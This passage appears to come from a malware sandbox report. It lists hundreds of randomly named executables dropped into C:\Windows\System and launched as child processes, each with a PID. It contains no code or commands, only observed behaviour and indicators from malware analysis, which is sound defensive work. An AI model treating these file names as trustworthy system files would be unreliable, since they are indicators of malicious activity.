- C:\Windows\System\frIktYa.exe
  C:\Windows\System\frIktYa.exe
  2⤵
  - Executes dropped EXE
  PID:1780
- C:\Windows\System\DaLrVCQ.exe
  C:\Windows\System\DaLrVCQ.exe
  2⤵
  - Executes dropped EXE
  PID:4364
- C:\Windows\System\sdYJIsM.exe
  C:\Windows\System\sdYJIsM.exe
  2⤵
  - Executes dropped EXE
  PID:1348
- C:\Windows\System\jLZGRZS.exe
  C:\Windows\System\jLZGRZS.exe
  2⤵
  - Executes dropped EXE
  PID:3564
- C:\Windows\System\EAjtkms.exe
  C:\Windows\System\EAjtkms.exe
  2⤵
  - Executes dropped EXE
  PID:372
- C:\Windows\System\sxDxoaF.exe
  C:\Windows\System\sxDxoaF.exe
  2⤵
  - Executes dropped EXE
  PID:1860
- C:\Windows\System\bRPreww.exe
  C:\Windows\System\bRPreww.exe
  2⤵
  - Executes dropped EXE
  PID:2876
- C:\Windows\System\xBlLscB.exe
  C:\Windows\System\xBlLscB.exe
  2⤵
  - Executes dropped EXE
  PID:8
- C:\Windows\System\SYqosxZ.exe
  C:\Windows\System\SYqosxZ.exe
  2⤵
  - Executes dropped EXE
  PID:4724
- C:\Windows\System\qkniJwP.exe
  C:\Windows\System\qkniJwP.exe
  2⤵
  - Executes dropped EXE
  PID:4320
- C:\Windows\System\yXmSZrf.exe
  C:\Windows\System\yXmSZrf.exe
  2⤵
  - Executes dropped EXE
  PID:5116
- C:\Windows\System\DpUjMbf.exe
  C:\Windows\System\DpUjMbf.exe
  2⤵
  - Executes dropped EXE
  PID:4412
- C:\Windows\System\XkVtKfq.exe
  C:\Windows\System\XkVtKfq.exe
  2⤵
  - Executes dropped EXE
  PID:5060
- C:\Windows\System\NbUIEdY.exe
  C:\Windows\System\NbUIEdY.exe
  2⤵
  - Executes dropped EXE
  PID:4256
- C:\Windows\System\zoYlcRf.exe
  C:\Windows\System\zoYlcRf.exe
  2⤵
  - Executes dropped EXE
  PID:2748
- C:\Windows\System\HLBfJof.exe
  C:\Windows\System\HLBfJof.exe
  2⤵
  - Executes dropped EXE
  PID:4584
- C:\Windows\System\bMpSzHO.exe
  C:\Windows\System\bMpSzHO.exe
  2⤵
  - Executes dropped EXE
  PID:2524
- C:\Windows\System\fpBQUyZ.exe
  C:\Windows\System\fpBQUyZ.exe
  2⤵
  - Executes dropped EXE
  PID:5064
- C:\Windows\System\plGBPdR.exe
  C:\Windows\System\plGBPdR.exe
  2⤵
  - Executes dropped EXE
  PID:1444
- C:\Windows\System\knaIrYD.exe
  C:\Windows\System\knaIrYD.exe
  2⤵
  - Executes dropped EXE
  PID:4164
- C:\Windows\System\wwqJKyc.exe
  C:\Windows\System\wwqJKyc.exe
  2⤵
  - Executes dropped EXE
  PID:4488
- C:\Windows\System\iFPaWaM.exe
  C:\Windows\System\iFPaWaM.exe
  2⤵
  - Executes dropped EXE
  PID:4944
- C:\Windows\System\VDArobo.exe
  C:\Windows\System\VDArobo.exe
  2⤵
  - Executes dropped EXE
  PID:2080
- C:\Windows\System\DLKiSal.exe
  C:\Windows\System\DLKiSal.exe
  2⤵
  - Executes dropped EXE
  PID:4920
- C:\Windows\System\yOOzbKL.exe
  C:\Windows\System\yOOzbKL.exe
  2⤵
  - Executes dropped EXE
  PID:4672
- C:\Windows\System\trySslb.exe
  C:\Windows\System\trySslb.exe
  2⤵
  - Executes dropped EXE
  PID:2472
- C:\Windows\System\BBGuLIA.exe
  C:\Windows\System\BBGuLIA.exe
  2⤵
  - Executes dropped EXE
  PID:548
- C:\Windows\System\UPJTQnb.exe
  C:\Windows\System\UPJTQnb.exe
  2⤵
  - Executes dropped EXE
  PID:4476
- C:\Windows\System\ZxWFFGN.exe
  C:\Windows\System\ZxWFFGN.exe
  2⤵
  - Executes dropped EXE
  PID:3928
- C:\Windows\System\fhEotcW.exe
  C:\Windows\System\fhEotcW.exe
  2⤵
  - Executes dropped EXE
  PID:4308
- C:\Windows\System\lSoMTCY.exe
  C:\Windows\System\lSoMTCY.exe
  2⤵
  - Executes dropped EXE
  PID:2928
- C:\Windows\System\WCjtGBG.exe
  C:\Windows\System\WCjtGBG.exe
  2⤵
  - Executes dropped EXE
  PID:4252
- C:\Windows\System\RnBvtsg.exe
  C:\Windows\System\RnBvtsg.exe
  2⤵
  - Executes dropped EXE
  PID:2040
- C:\Windows\System\quZZSUa.exe
  C:\Windows\System\quZZSUa.exe
  2⤵
  - Executes dropped EXE
  PID:3752
- C:\Windows\System\XLScRyH.exe
  C:\Windows\System\XLScRyH.exe
  2⤵
  - Executes dropped EXE
  PID:2956
- C:\Windows\System\frqNJET.exe
  C:\Windows\System\frqNJET.exe
  2⤵
  - Executes dropped EXE
  PID:5156
- C:\Windows\System\nAUwgWB.exe
  C:\Windows\System\nAUwgWB.exe
  2⤵
  - Executes dropped EXE
  PID:5184
- C:\Windows\System\pMmLguV.exe
  C:\Windows\System\pMmLguV.exe
  2⤵
  - Executes dropped EXE
  PID:5212
- C:\Windows\System\MlrFbtx.exe
  C:\Windows\System\MlrFbtx.exe
  2⤵
  - Executes dropped EXE
  PID:5240
- C:\Windows\System\dUcQvYQ.exe
  C:\Windows\System\dUcQvYQ.exe
  2⤵
  - Executes dropped EXE
  PID:5260
- C:\Windows\System\ePRzZET.exe
  C:\Windows\System\ePRzZET.exe
  2⤵
  - Executes dropped EXE
  PID:5288
- C:\Windows\System\oLMCrGD.exe
  C:\Windows\System\oLMCrGD.exe
  2⤵
  - Executes dropped EXE
  PID:5328
- C:\Windows\System\HxjHLdx.exe
  C:\Windows\System\HxjHLdx.exe
  2⤵
  - Executes dropped EXE
  PID:5356
- C:\Windows\System\YVXguTt.exe
  C:\Windows\System\YVXguTt.exe
  2⤵
  - Executes dropped EXE
  PID:5384
- C:\Windows\System\qFbXrhc.exe
  C:\Windows\System\qFbXrhc.exe
  2⤵
  - Executes dropped EXE
  PID:5408
- C:\Windows\System\SZjGtjT.exe
  C:\Windows\System\SZjGtjT.exe
  2⤵
  - Executes dropped EXE
  PID:5432
- C:\Windows\System\ZJadhit.exe
  C:\Windows\System\ZJadhit.exe
  2⤵
  PID:5456
- C:\Windows\System\vaNlEnt.exe
  C:\Windows\System\vaNlEnt.exe
  2⤵
  PID:5476
- C:\Windows\System\nvPsEEH.exe
  C:\Windows\System\nvPsEEH.exe
  2⤵
  PID:5508
- C:\Windows\System\PlicrLZ.exe
  C:\Windows\System\PlicrLZ.exe
  2⤵
  PID:5540
- C:\Windows\System\lBNAoNm.exe
  C:\Windows\System\lBNAoNm.exe
  2⤵
  PID:5568
- C:\Windows\System\APYqRzb.exe
  C:\Windows\System\APYqRzb.exe
  2⤵
  PID:5596
- C:\Windows\System\SLzVNEA.exe
  C:\Windows\System\SLzVNEA.exe
  2⤵
  PID:5640
- C:\Windows\System\fyHmTTL.exe
  C:\Windows\System\fyHmTTL.exe
  2⤵
  PID:5664
- C:\Windows\System\VZFOVys.exe
  C:\Windows\System\VZFOVys.exe
  2⤵
  PID:5680
- C:\Windows\System\KfkFRvy.exe
  C:\Windows\System\KfkFRvy.exe
  2⤵
  PID:5708
- C:\Windows\System\ThWfyXI.exe
  C:\Windows\System\ThWfyXI.exe
  2⤵
  PID:5736
- C:\Windows\System\wufuQyd.exe
  C:\Windows\System\wufuQyd.exe
  2⤵
  PID:5764
- C:\Windows\System\cmNDJwX.exe
  C:\Windows\System\cmNDJwX.exe
  2⤵
  PID:5792
- C:\Windows\System\qDzIPHy.exe
  C:\Windows\System\qDzIPHy.exe
  2⤵
  PID:5820
- C:\Windows\System\xsrUXSP.exe
  C:\Windows\System\xsrUXSP.exe
  2⤵
  PID:5848
- C:\Windows\System\PwKYVCp.exe
  C:\Windows\System\PwKYVCp.exe
  2⤵
  PID:5876
- C:\Windows\System\ztXAAex.exe
  C:\Windows\System\ztXAAex.exe
  2⤵
  PID:5916
- C:\Windows\System\hhGMyEp.exe
  C:\Windows\System\hhGMyEp.exe
  2⤵
  PID:5940
- C:\Windows\System\quUboOt.exe
  C:\Windows\System\quUboOt.exe
  2⤵
  PID:5960
- C:\Windows\System\mcOSRaS.exe
  C:\Windows\System\mcOSRaS.exe
  2⤵
  PID:5980
- C:\Windows\System\NiWXAwr.exe
  C:\Windows\System\NiWXAwr.exe
  2⤵
  PID:6084
- C:\Windows\System\mhJrjCq.exe
  C:\Windows\System\mhJrjCq.exe
  2⤵
  PID:6108
- C:\Windows\System\UUJVBJv.exe
  C:\Windows\System\UUJVBJv.exe
  2⤵
  PID:6128
- C:\Windows\System\iFNVZCq.exe
  C:\Windows\System\iFNVZCq.exe
  2⤵
  PID:2728
- C:\Windows\System\bWaiIiZ.exe
  C:\Windows\System\bWaiIiZ.exe
  2⤵
  PID:5104
- C:\Windows\System\gfdjnrT.exe
  C:\Windows\System\gfdjnrT.exe
  2⤵
  PID:3512
- C:\Windows\System\oVRrJXm.exe
  C:\Windows\System\oVRrJXm.exe
  2⤵
  PID:5140
- C:\Windows\System\PlPgbCh.exe
  C:\Windows\System\PlPgbCh.exe
  2⤵
  PID:5208
- C:\Windows\System\OnZplJq.exe
  C:\Windows\System\OnZplJq.exe
  2⤵
  PID:5256
- C:\Windows\System\syypsMX.exe
  C:\Windows\System\syypsMX.exe
  2⤵
  PID:5304
- C:\Windows\System\xlxeBVi.exe
  C:\Windows\System\xlxeBVi.exe
  2⤵
  PID:5320
- C:\Windows\System\SnHDZrh.exe
  C:\Windows\System\SnHDZrh.exe
  2⤵
  PID:5420
- C:\Windows\System\kCMyjDP.exe
  C:\Windows\System\kCMyjDP.exe
  2⤵
  PID:5464
- C:\Windows\System\PtceNKO.exe
  C:\Windows\System\PtceNKO.exe
  2⤵
  PID:5580
- C:\Windows\System\QiNFQVW.exe
  C:\Windows\System\QiNFQVW.exe
  2⤵
  PID:5616
- C:\Windows\System\YHwFaAJ.exe
  C:\Windows\System\YHwFaAJ.exe
  2⤵
  PID:5692
- C:\Windows\System\olKZuTn.exe
  C:\Windows\System\olKZuTn.exe
  2⤵
  PID:5700
- C:\Windows\System\TCWBQmj.exe
  C:\Windows\System\TCWBQmj.exe
  2⤵
  PID:5784
- C:\Windows\System\UfzZHGP.exe
  C:\Windows\System\UfzZHGP.exe
  2⤵
  PID:5056
- C:\Windows\System\TCgosJR.exe
  C:\Windows\System\TCgosJR.exe
  2⤵
  PID:5908
- C:\Windows\System\VHHzLTl.exe
  C:\Windows\System\VHHzLTl.exe
  2⤵
  PID:5956
- C:\Windows\System\XKHFikk.exe
  C:\Windows\System\XKHFikk.exe
  2⤵
  PID:2588
- C:\Windows\System\gwdeJUk.exe
  C:\Windows\System\gwdeJUk.exe
  2⤵
  PID:3596
- C:\Windows\System\raOBzTx.exe
  C:\Windows\System\raOBzTx.exe
  2⤵
  PID:3108
- C:\Windows\System\lJkIvEH.exe
  C:\Windows\System\lJkIvEH.exe
  2⤵
  PID:2068
- C:\Windows\System\uvmGoxD.exe
  C:\Windows\System\uvmGoxD.exe
  2⤵
  PID:1980
- C:\Windows\System\PHFeZtf.exe
  C:\Windows\System\PHFeZtf.exe
  2⤵
  PID:4028
- C:\Windows\System\wctIiNG.exe
  C:\Windows\System\wctIiNG.exe
  2⤵
  PID:4168
- C:\Windows\System\TMkMwWp.exe
  C:\Windows\System\TMkMwWp.exe
  2⤵
  PID:1604
- C:\Windows\System\YLvoRcb.exe
  C:\Windows\System\YLvoRcb.exe
  2⤵
  PID:2692
- C:\Windows\System\qZtxiNY.exe
  C:\Windows\System\qZtxiNY.exe
  2⤵
  PID:3352
- C:\Windows\System\qifuMGR.exe
  C:\Windows\System\qifuMGR.exe
  2⤵
  PID:6052
- C:\Windows\System\shTHaXe.exe
  C:\Windows\System\shTHaXe.exe
  2⤵
  PID:6120
- C:\Windows\System\XOuAVcY.exe
  C:\Windows\System\XOuAVcY.exe
  2⤵
  PID:1004
- C:\Windows\System\moDvYVW.exe
  C:\Windows\System\moDvYVW.exe
  2⤵
  PID:5180
- C:\Windows\System\bbDqcaT.exe
  C:\Windows\System\bbDqcaT.exe
  2⤵
  PID:5316
- C:\Windows\System\iVoYRDk.exe
  C:\Windows\System\iVoYRDk.exe
  2⤵
  PID:5524
- C:\Windows\System\MiCYXMC.exe
  C:\Windows\System\MiCYXMC.exe
  2⤵
  PID:5612
- C:\Windows\System\fVaDDsL.exe
  C:\Windows\System\fVaDDsL.exe
  2⤵
  PID:6032
- C:\Windows\System\MqyRRog.exe
  C:\Windows\System\MqyRRog.exe
  2⤵
  PID:5892
- C:\Windows\System\BXClCWt.exe
  C:\Windows\System\BXClCWt.exe
  2⤵
  PID:824
- C:\Windows\System\nuiOJoP.exe
  C:\Windows\System\nuiOJoP.exe
  2⤵
  PID:1200
- C:\Windows\System\hYaaoSf.exe
  C:\Windows\System\hYaaoSf.exe
  2⤵
  PID:4988
- C:\Windows\System\zBpaXLz.exe
  C:\Windows\System\zBpaXLz.exe
  2⤵
  PID:3768
- C:\Windows\System\vdqIyLh.exe
  C:\Windows\System\vdqIyLh.exe
  2⤵
  PID:432
- C:\Windows\System\tugLsZd.exe
  C:\Windows\System\tugLsZd.exe
  2⤵
  PID:6116
- C:\Windows\System\RLsCIWJ.exe
  C:\Windows\System\RLsCIWJ.exe
  2⤵
  PID:5276
- C:\Windows\System\xkpEXbZ.exe
  C:\Windows\System\xkpEXbZ.exe
  2⤵
  PID:5756
- C:\Windows\System\QavgljA.exe
  C:\Windows\System\QavgljA.exe
  2⤵
  PID:5992
- C:\Windows\System\DczldbH.exe
  C:\Windows\System\DczldbH.exe
  2⤵
  PID:4560
- C:\Windows\System\yFSpmAe.exe
  C:\Windows\System\yFSpmAe.exe
  2⤵
  PID:5272
- C:\Windows\System\OpfkYNV.exe
  C:\Windows\System\OpfkYNV.exe
  2⤵
  PID:5936
- C:\Windows\System\IFpecWo.exe
  C:\Windows\System\IFpecWo.exe
  2⤵
  PID:2108
- C:\Windows\System\mryNmvs.exe
  C:\Windows\System\mryNmvs.exe
  2⤵
  PID:6172
- C:\Windows\System\JQLrpPI.exe
  C:\Windows\System\JQLrpPI.exe
  2⤵
  PID:6192
- C:\Windows\System\cxsdPpN.exe
  C:\Windows\System\cxsdPpN.exe
  2⤵
  PID:6240
- C:\Windows\System\ydfokQD.exe
  C:\Windows\System\ydfokQD.exe
  2⤵
  PID:6256
- C:\Windows\System\SeazLpx.exe
  C:\Windows\System\SeazLpx.exe
  2⤵
  PID:6272
- C:\Windows\System\gsAbJDK.exe
  C:\Windows\System\gsAbJDK.exe
  2⤵
  PID:6304
- C:\Windows\System\PbZpqAM.exe
  C:\Windows\System\PbZpqAM.exe
  2⤵
  PID:6340
- C:\Windows\System\eYbuLVy.exe
  C:\Windows\System\eYbuLVy.exe
  2⤵
  PID:6356
- C:\Windows\System\lUCSwCD.exe
  C:\Windows\System\lUCSwCD.exe
  2⤵
  PID:6380
- C:\Windows\System\YTcYAqW.exe
  C:\Windows\System\YTcYAqW.exe
  2⤵
  PID:6396
- C:\Windows\System\vVXNZbd.exe
  C:\Windows\System\vVXNZbd.exe
  2⤵
  PID:6412
- C:\Windows\System\FNxvyHu.exe
  C:\Windows\System\FNxvyHu.exe
  2⤵
  PID:6492
- C:\Windows\System\PxJYFRH.exe
  C:\Windows\System\PxJYFRH.exe
  2⤵
  PID:6508
- C:\Windows\System\uIREJsy.exe
  C:\Windows\System\uIREJsy.exe
  2⤵
  PID:6524
- C:\Windows\System\yeGLghd.exe
  C:\Windows\System\yeGLghd.exe
  2⤵
  PID:6540
- C:\Windows\System\huYJORz.exe
  C:\Windows\System\huYJORz.exe
  2⤵
  PID:6572
- C:\Windows\System\raqIfAc.exe
  C:\Windows\System\raqIfAc.exe
  2⤵
  PID:6604
- C:\Windows\System\UzVEHRZ.exe
  C:\Windows\System\UzVEHRZ.exe
  2⤵
  PID:6620
- C:\Windows\System\GoGvNoc.exe
  C:\Windows\System\GoGvNoc.exe
  2⤵
  PID:6724
- C:\Windows\System\aTlTOZE.exe
  C:\Windows\System\aTlTOZE.exe
  2⤵
  PID:6748
- C:\Windows\System\GLGLXJv.exe
  C:\Windows\System\GLGLXJv.exe
  2⤵
  PID:6864
- C:\Windows\System\ulTfskm.exe
  C:\Windows\System\ulTfskm.exe
  2⤵
  PID:6892
- C:\Windows\System\rnefRKc.exe
  C:\Windows\System\rnefRKc.exe
  2⤵
  PID:6908
- C:\Windows\System\SXzkGHf.exe
  C:\Windows\System\SXzkGHf.exe
  2⤵
  PID:6936
- C:\Windows\System\sVwTHwk.exe
  C:\Windows\System\sVwTHwk.exe
  2⤵
  PID:7000
- C:\Windows\System\MBGiWyh.exe
  C:\Windows\System\MBGiWyh.exe
  2⤵
  PID:7020
- C:\Windows\System\OoefUQl.exe
  C:\Windows\System\OoefUQl.exe
  2⤵
  PID:7040
- C:\Windows\System\QnnuAPM.exe
  C:\Windows\System\QnnuAPM.exe
  2⤵
  PID:7108
- C:\Windows\System\ARcuuVX.exe
  C:\Windows\System\ARcuuVX.exe
  2⤵
  PID:7128
- C:\Windows\System\KVPBNPX.exe
  C:\Windows\System\KVPBNPX.exe
  2⤵
  PID:7148
- C:\Windows\System\MXJNfPo.exe
  C:\Windows\System\MXJNfPo.exe
  2⤵
  PID:4128
- C:\Windows\System\DiALynf.exe
  C:\Windows\System\DiALynf.exe
  2⤵
  PID:6236
- C:\Windows\System\aOXKICd.exe
  C:\Windows\System\aOXKICd.exe
  2⤵
  PID:6288
- C:\Windows\System\icpHldY.exe
  C:\Windows\System\icpHldY.exe
  2⤵
  PID:6180
- C:\Windows\System\ixFhqXg.exe
  C:\Windows\System\ixFhqXg.exe
  2⤵
  PID:1680
- C:\Windows\System\AWbQpPE.exe
  C:\Windows\System\AWbQpPE.exe
  2⤵
  PID:6428
- C:\Windows\System\wSfBJQI.exe
  C:\Windows\System\wSfBJQI.exe
  2⤵
  PID:6600
- C:\Windows\System\nFaHrky.exe
  C:\Windows\System\nFaHrky.exe
  2⤵
  PID:6464
- C:\Windows\System\EQfGxoU.exe
  C:\Windows\System\EQfGxoU.exe
  2⤵
  PID:6444
- C:\Windows\System\DtTPNQi.exe
  C:\Windows\System\DtTPNQi.exe
  2⤵
  PID:6784
- C:\Windows\System\mFfSBSS.exe
  C:\Windows\System\mFfSBSS.exe
  2⤵
  PID:6616
- C:\Windows\System\KZxlpJq.exe
  C:\Windows\System\KZxlpJq.exe
  2⤵
  PID:6760
- C:\Windows\System\bRwURSE.exe
  C:\Windows\System\bRwURSE.exe
  2⤵
  PID:6904
- C:\Windows\System\dQEgZjL.exe
  C:\Windows\System\dQEgZjL.exe
  2⤵
  PID:6852
- C:\Windows\System\VBBvEpd.exe
  C:\Windows\System\VBBvEpd.exe
  2⤵
  PID:6884
- C:\Windows\System\nHArYiE.exe
  C:\Windows\System\nHArYiE.exe
  2⤵
  PID:7012
- C:\Windows\System\qLFQRts.exe
  C:\Windows\System\qLFQRts.exe
  2⤵
  PID:7036
- C:\Windows\System\CtzrDDE.exe
  C:\Windows\System\CtzrDDE.exe
  2⤵
  PID:7072
- C:\Windows\System\yuBLMDm.exe
  C:\Windows\System\yuBLMDm.exe
  2⤵
  PID:7124
- C:\Windows\System\rMwSCGt.exe
  C:\Windows\System\rMwSCGt.exe
  2⤵
  PID:6040
- C:\Windows\System\NmSrDGd.exe
  C:\Windows\System\NmSrDGd.exe
  2⤵
  PID:6228
- C:\Windows\System\GPGSGSc.exe
  C:\Windows\System\GPGSGSc.exe
  2⤵
  PID:6280
- C:\Windows\System\pGEAxHC.exe
  C:\Windows\System\pGEAxHC.exe
  2⤵
  PID:5840
- C:\Windows\System\OBEJBsY.exe
  C:\Windows\System\OBEJBsY.exe
  2⤵
  PID:6516
- C:\Windows\System\jifAbzy.exe
  C:\Windows\System\jifAbzy.exe
  2⤵
  PID:6564
- C:\Windows\System\uYboTou.exe
  C:\Windows\System\uYboTou.exe
  2⤵
  PID:6596
- C:\Windows\System\LoknkKk.exe
  C:\Windows\System\LoknkKk.exe
  2⤵
  PID:6676
- C:\Windows\System\kRlKhGx.exe
  C:\Windows\System\kRlKhGx.exe
  2⤵
  PID:6740
- C:\Windows\System\wnXTiBR.exe
  C:\Windows\System\wnXTiBR.exe
  2⤵
  PID:6548
- C:\Windows\System\UFOXjGs.exe
  C:\Windows\System\UFOXjGs.exe
  2⤵
  PID:7116
- C:\Windows\System\soYpYtX.exe
  C:\Windows\System\soYpYtX.exe
  2⤵
  PID:7140
- C:\Windows\System\PXHWHeM.exe
  C:\Windows\System\PXHWHeM.exe
  2⤵
  PID:6320
- C:\Windows\System\hRAAWDF.exe
  C:\Windows\System\hRAAWDF.exe
  2⤵
  PID:7188
- C:\Windows\System\obMGuOE.exe
  C:\Windows\System\obMGuOE.exe
  2⤵
  PID:7204
- C:\Windows\System\xMdQBSE.exe
  C:\Windows\System\xMdQBSE.exe
  2⤵
  PID:7224
- C:\Windows\System\vEFpeJz.exe
  C:\Windows\System\vEFpeJz.exe
  2⤵
  PID:7248
- C:\Windows\System\mmslNxX.exe
  C:\Windows\System\mmslNxX.exe
  2⤵
  PID:7268
- C:\Windows\System\YdKHILJ.exe
  C:\Windows\System\YdKHILJ.exe
  2⤵
  PID:7292
- C:\Windows\System\QBkKvlc.exe
  C:\Windows\System\QBkKvlc.exe
  2⤵
  PID:7312
- C:\Windows\System\sTtDRtp.exe
  C:\Windows\System\sTtDRtp.exe
  2⤵
  PID:7332
- C:\Windows\System\KbtgCGl.exe
  C:\Windows\System\KbtgCGl.exe
  2⤵
  PID:7356
- C:\Windows\System\mzlTmpk.exe
  C:\Windows\System\mzlTmpk.exe
  2⤵
  PID:7376
- C:\Windows\System\NcHXLUo.exe
  C:\Windows\System\NcHXLUo.exe
  2⤵
  PID:7396
- C:\Windows\System\DxAjRie.exe
  C:\Windows\System\DxAjRie.exe
  2⤵
  PID:7416
- C:\Windows\System\hyXJIld.exe
  C:\Windows\System\hyXJIld.exe
  2⤵
  PID:7436
- C:\Windows\System\CBsGOVj.exe
  C:\Windows\System\CBsGOVj.exe
  2⤵
  PID:7456
- C:\Windows\System\GxvhOVd.exe
  C:\Windows\System\GxvhOVd.exe
  2⤵
  PID:7472
- C:\Windows\System\ZGQPNFj.exe
  C:\Windows\System\ZGQPNFj.exe
  2⤵
  PID:7496
- C:\Windows\System\nQNfcsr.exe
  C:\Windows\System\nQNfcsr.exe
  2⤵
  PID:7512
- C:\Windows\System\kCRwrFd.exe
  C:\Windows\System\kCRwrFd.exe
  2⤵
  PID:7536
- C:\Windows\System\Smrgxdv.exe
  C:\Windows\System\Smrgxdv.exe
  2⤵
  PID:7552
- C:\Windows\System\BTJAnVT.exe
  C:\Windows\System\BTJAnVT.exe
  2⤵
  PID:7576
- C:\Windows\System\GTAKyjL.exe
  C:\Windows\System\GTAKyjL.exe
  2⤵
  PID:7604
- C:\Windows\System\dmpXVYo.exe
  C:\Windows\System\dmpXVYo.exe
  2⤵
  PID:7620
- C:\Windows\System\CuhFSQg.exe
  C:\Windows\System\CuhFSQg.exe
  2⤵
  PID:7640
- C:\Windows\System\XgMoHdq.exe
  C:\Windows\System\XgMoHdq.exe
  2⤵
  PID:7660
- C:\Windows\System\YVayhjG.exe
  C:\Windows\System\YVayhjG.exe
  2⤵
  PID:7680
- C:\Windows\System\CMENJvU.exe
  C:\Windows\System\CMENJvU.exe
  2⤵
  PID:7704
- C:\Windows\System\LxACHUQ.exe
  C:\Windows\System\LxACHUQ.exe
  2⤵
  PID:7724
- C:\Windows\System\ceMSGnG.exe
  C:\Windows\System\ceMSGnG.exe
  2⤵
  PID:7744
- C:\Windows\System\qlHEVAF.exe
  C:\Windows\System\qlHEVAF.exe
  2⤵
  PID:7764
- C:\Windows\System\XKdanzU.exe
  C:\Windows\System\XKdanzU.exe
  2⤵
  PID:7784
- C:\Windows\System\lKsYfFI.exe
  C:\Windows\System\lKsYfFI.exe
  2⤵
  PID:7804
- C:\Windows\System\GiumuNo.exe
  C:\Windows\System\GiumuNo.exe
  2⤵
  PID:7824
- C:\Windows\System\siqMQBC.exe
  C:\Windows\System\siqMQBC.exe
  2⤵
  PID:7848
- C:\Windows\System\vkMbpMK.exe
  C:\Windows\System\vkMbpMK.exe
  2⤵
  PID:7868
- C:\Windows\System\SQJBcKV.exe
  C:\Windows\System\SQJBcKV.exe
  2⤵
  PID:7892
- C:\Windows\System\rghmjJb.exe
  C:\Windows\System\rghmjJb.exe
  2⤵
  PID:7912
- C:\Windows\System\KKqBYwY.exe
  C:\Windows\System\KKqBYwY.exe
  2⤵
  PID:7932
- C:\Windows\System\MUeatGw.exe
  C:\Windows\System\MUeatGw.exe
  2⤵
  PID:7956
- C:\Windows\System\JIxNggV.exe
  C:\Windows\System\JIxNggV.exe
  2⤵
  PID:7980
- C:\Windows\System\wmBduNS.exe
  C:\Windows\System\wmBduNS.exe
  2⤵
  PID:8000
- C:\Windows\System\zZpjZXp.exe
  C:\Windows\System\zZpjZXp.exe
  2⤵
  PID:8020
- C:\Windows\System\wypCemQ.exe
  C:\Windows\System\wypCemQ.exe
  2⤵
  PID:8040
- C:\Windows\System\XbpOsPw.exe
  C:\Windows\System\XbpOsPw.exe
  2⤵
  PID:8064
- C:\Windows\System\OdaDVkI.exe
  C:\Windows\System\OdaDVkI.exe
  2⤵
  PID:8088
- C:\Windows\System\mHbtCSE.exe
  C:\Windows\System\mHbtCSE.exe
  2⤵
  PID:8112
- C:\Windows\System\dkVkJXo.exe
  C:\Windows\System\dkVkJXo.exe
  2⤵
  PID:8128
- C:\Windows\System\sCyLDgo.exe
  C:\Windows\System\sCyLDgo.exe
  2⤵
  PID:8152
- C:\Windows\System\ldxuoTL.exe
  C:\Windows\System\ldxuoTL.exe
  2⤵
  PID:8172
- C:\Windows\System\kXwrobD.exe
  C:\Windows\System\kXwrobD.exe
  2⤵
  PID:6780
- C:\Windows\System\sIhWEgF.exe
  C:\Windows\System\sIhWEgF.exe
  2⤵
  PID:6872
- C:\Windows\System\xmFkHKw.exe
  C:\Windows\System\xmFkHKw.exe
  2⤵
  PID:5236
- C:\Windows\System\YYjSDUj.exe
  C:\Windows\System\YYjSDUj.exe
  2⤵
  PID:6928
- C:\Windows\System\QUJigqv.exe
  C:\Windows\System\QUJigqv.exe
  2⤵
  PID:7260
- C:\Windows\System\kEGJIZy.exe
  C:\Windows\System\kEGJIZy.exe
  2⤵
  PID:7032
- C:\Windows\System\jJRyLeS.exe
  C:\Windows\System\jJRyLeS.exe
  2⤵
  PID:7232
- C:\Windows\System\lqwFmjV.exe
  C:\Windows\System\lqwFmjV.exe
  2⤵
  PID:6876
- C:\Windows\System\YdhDIVD.exe
  C:\Windows\System\YdhDIVD.exe
  2⤵
  PID:7328
- C:\Windows\System\DSQDXvX.exe
  C:\Windows\System\DSQDXvX.exe
  2⤵
  PID:7544
- C:\Windows\System\InIJTKK.exe
  C:\Windows\System\InIJTKK.exe
  2⤵
  PID:7364
- C:\Windows\System\CMfpsiE.exe
  C:\Windows\System\CMfpsiE.exe
  2⤵
  PID:7636
- C:\Windows\System\kxjDpAC.exe
  C:\Windows\System\kxjDpAC.exe
  2⤵
  PID:7264
- C:\Windows\System\fwuUXjz.exe
  C:\Windows\System\fwuUXjz.exe
  2⤵
  PID:7772
- C:\Windows\System\vjcQHXZ.exe
  C:\Windows\System\vjcQHXZ.exe
  2⤵
  PID:7796
- C:\Windows\System\VkLKwQL.exe
  C:\Windows\System\VkLKwQL.exe
  2⤵
  PID:7592
- C:\Windows\System\HGmSFEE.exe
  C:\Windows\System\HGmSFEE.exe
  2⤵
  PID:7408
- C:\Windows\System\PBhyFox.exe
  C:\Windows\System\PBhyFox.exe
  2⤵
  PID:8208
- C:\Windows\System\QmxcBUv.exe
  C:\Windows\System\QmxcBUv.exe
  2⤵
  PID:8228
- C:\Windows\System\kZkRoTZ.exe
  C:\Windows\System\kZkRoTZ.exe
  2⤵
  PID:8248
- C:\Windows\System\GTHlvuM.exe
  C:\Windows\System\GTHlvuM.exe
  2⤵
  PID:8268
- C:\Windows\System\xtuFixy.exe
  C:\Windows\System\xtuFixy.exe
  2⤵
  PID:8288
- C:\Windows\System\PTIZXJH.exe
  C:\Windows\System\PTIZXJH.exe
  2⤵
  PID:8312
- C:\Windows\System\aWESiNa.exe
  C:\Windows\System\aWESiNa.exe
  2⤵
  PID:8328
- C:\Windows\System\CNKyruB.exe
  C:\Windows\System\CNKyruB.exe
  2⤵
  PID:8440
- C:\Windows\System\YdiIMjb.exe
  C:\Windows\System\YdiIMjb.exe
  2⤵
  PID:8524
- C:\Windows\System\hmVaIYH.exe
  C:\Windows\System\hmVaIYH.exe
  2⤵
  PID:8540
- C:\Windows\System\QMBIYcU.exe
  C:\Windows\System\QMBIYcU.exe
  2⤵
  PID:8560
- C:\Windows\System\lReYbcp.exe
  C:\Windows\System\lReYbcp.exe
  2⤵
  PID:8580
- C:\Windows\System\yCsuHJe.exe
  C:\Windows\System\yCsuHJe.exe
  2⤵
  PID:8600
- C:\Windows\System\aMfbDSc.exe
  C:\Windows\System\aMfbDSc.exe
  2⤵
  PID:8624
- C:\Windows\System\aoCHZjI.exe
  C:\Windows\System\aoCHZjI.exe
  2⤵
  PID:8644
- C:\Windows\System\bkkGWaQ.exe
  C:\Windows\System\bkkGWaQ.exe
  2⤵
  PID:8668
- C:\Windows\System\wYUTFSY.exe
  C:\Windows\System\wYUTFSY.exe
  2⤵
  PID:8688
- C:\Windows\System\crhydxJ.exe
  C:\Windows\System\crhydxJ.exe
  2⤵
  PID:8708
- C:\Windows\System\JfKhpoc.exe
  C:\Windows\System\JfKhpoc.exe
  2⤵
  PID:8728
- C:\Windows\System\coAwrgn.exe
  C:\Windows\System\coAwrgn.exe
  2⤵
